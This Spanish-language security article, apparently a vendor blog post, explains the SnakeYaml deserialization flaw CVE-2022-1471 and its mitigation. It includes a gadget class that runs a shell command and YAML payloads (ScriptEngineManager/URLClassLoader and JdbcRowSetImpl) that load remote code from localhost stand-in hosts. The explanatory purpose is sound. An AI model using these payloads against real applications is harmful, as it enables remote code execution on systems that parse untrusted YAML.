Vulnerabilidad de deserialización insegura en SnakeYaml (CVE-2022-1471)

SnakeYaml es un conocido analizador y generador de YAML 1.1 para Java. Recientemente, se informó de una vulnerabilidad — CVE-2022-1471 — en este paquete. Esta vulnerabilidad puede provocar la ejecución de código arbitrario. El paquete org.yaml:snakeyaml se usa ampliamente en el ecosistema de Java, en parte porque se incluye de forma predeterminada con Spring Boot en spring-boot-starter. En este artículo, analizamos la vulnerabilidad de seguridad que afecta a esta biblioteca de Java, hablamos sobre el posible impacto peligroso que podría tener en tus aplicaciones y evaluamos los riesgos reales.

¿En qué consiste la vulnerabilidad de seguridad de SnakeYaml?

La biblioteca SnakeYaml para Java es vulnerable a la ejecución de código arbitrario debido a una falla en su clase Constructor. Esta clase no restringe los tipos que se pueden deserializar, lo que permite que un atacante proporcione un archivo YAML malicioso para deserializarlo y potencialmente explotar el sistema. Por lo tanto, esta falla genera un problema de deserialización insegura que puede provocar la ejecución de código arbitrario.

Cómo se manifiesta la vulnerabilidad de SnakeYaml

Deserializar o serializar YAML con SnakeYaml es bastante sencillo. Normalmente, se hace algo como esto:

1Yaml yaml = new Yaml();
2File file = new File("file.yaml");
3InputStream inputStream = new FileInputStream(file);
4User user = yaml.load(inputStream);

Al cargar el YAML del archivo del ejemplo anterior, la entrada se analiza como el Object.class genérico, que es el supertipo de todos los Object en Java. En nuestro código, esperamos un objeto User, pero la conversión de tipo ocurre después de que Object se carga en memoria. Debido al tipo genérico Object, se puede usar cualquier objeto. Esto puede provocar la ejecución de código arbitrario si hay un gadget o una cadena de gadgets disponible en el classpath de la aplicación.

Esto es similar a los problemas que analizamos en los artículos Serialización y deserialización en Java y Problemas de deserialización de JSON en Java con Jackson ObjectMapper.

Demostración de la vulnerabilidad de SnakeYaml

Para demostrar el escenario vulnerable, creé deliberadamente una clase gadget. Un gadget es una clase que provoca un efecto secundario al instanciarse, ya sea haciendo algo directamente o iniciando una cadena de gadgets. En este caso, el gadget ejecuta un comando determinado cuando se llama al constructor.

1public class Gadget {
2   private Runnable command;
3
4   public Gadget(String value) {
5       this.command = new Command(value);
6       this.command.run();
7   }
8}

Cuando esta clase de Java está disponible y deserializo mi YAML con el código anterior, puedo incluir el siguiente contenido en el archivo YAML:

1!!nl.brianvermeer.snakeyaml.Gadget ["touch myFile.txt"]

Esto significa que puedo apuntar específicamente a cualquier clase de Java disponible en el classpath con SnakeYaml. Como la clase ya está en mi classpath y SnakeYaml crea el objeto independientemente de la clase prevista, terminaré con una ClassCastException. Sin embargo, el daño ya está hecho y el comando se ejecuta. Tener un gadget o una cadena de gadgets disponible en tu classpath puede provocar situaciones desastrosas, como un ataque de shell inversa.

¿Qué tan grave es la vulnerabilidad de SnakeYaml en aplicaciones reales?

Es poco probable que alguien cree un gadget como lo hicimos en el ejemplo anterior. Sin embargo, incorporar bibliotecas de terceros aumenta las probabilidades de que haya gadgets creados por otras personas de esa manera presentes en tu código. Un vistazo rápido al repositorio de ysoserial en GitHub o a la lista de posibles problemas de deserialización en la biblioteca de serialización JSON jackson-databind muestra que el riesgo potencial es alto. La diferencia con jackson-databind es que Jackson no habilita defaultTyping de forma predeterminada (como explicamos en nuestra mención anterior de la vulnerabilidad).

Los actores maliciosos también pueden usar algunas clases del JDK para causar daños. Por ejemplo, ScriptEngine:

1!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]

Esta entrada YAML se conecta a una URL desde la que puede descargar contenido dañino en tu aplicación, como se explica en este artículo de Websec.

Otro ejemplo (según la versión de Java que uses) es la clase JdbcRowSetImpl, que puede aprovechar una solicitud LDAP para realizar una búsqueda. Esto puede generar riesgos similares a los que vimos hace poco con Log4Shell.

1!!com.sun.rowset.JdbcRowSetImpl
2dataSourceName: "ldap://localhost:9999/Evil"
3autoCommit: true

Para obtener más información, consulta el problema de SnakeYaml en Bitbucket.

¿Me afecta la vulnerabilidad de SnakeYaml?

Que te afecte depende de cómo uses esta biblioteca. Si cargas datos YAML personalizados de otras fuentes de manera similar a como usas objetos XML y JSON, ¡podrías ser vulnerable! La regla general es que no debes aceptar estas entradas de fuentes desconocidas.

En la mayoría de los casos, otros frameworks como Spring o Helidon usan SnakeYaml para leer configuraciones YAML que ya forman parte de tu sistema. Si los actores maliciosos pueden modificar estos archivos de configuración, tienes un problema distinto y probablemente más grave. Por eso, personalmente, no creo que esto tenga un gran impacto.

Los responsables de mantener la biblioteca cuestionan el riesgo asociado con este problema. Aun así, simplemente no podemos predecir cómo se usa una biblioteca como esta.

Mitigación propuesta para la vulnerabilidad de SnakeYaml

Al momento de la publicación, no hay una nueva versión disponible de este paquete. Los responsables de mantenerlo aceptaron un pull request que incorpora una lista de bloqueo para artefactos específicos que se van a deserializar. Se espera que esté disponible en la versión 1.34. Por ahora, parece que no habrá una solución genérica para el comportamiento predeterminado.

Ten en cuenta que la documentación de SnakeYaml indica lo siguiente: No es seguro llamar aYaml.load() con datos recibidos de una fuente que no sea de confianza.El método Yaml.load() convierte un documento YAML en un objeto de Java.

Se usa de forma predeterminada, como se muestra a continuación.

1Yaml yaml = new Yaml(new SafeConstructor());

Analiza siempre tus dependencias

Como ya sabes, la mayor parte del código de tus aplicaciones proviene de bibliotecas de terceros. Y como ningún desarrollador tiene tiempo para revisar todo el código de esas bibliotecas, es importante analizar tus dependencias para detectar vulnerabilidades conocidas. Snyk lo hace fácil con análisis en tiempo real, recomendaciones prácticas para corregir los problemas y una puntuación de prioridad que te permite maximizar el impacto de tus esfuerzos de corrección. Crea hoy una cuenta gratis.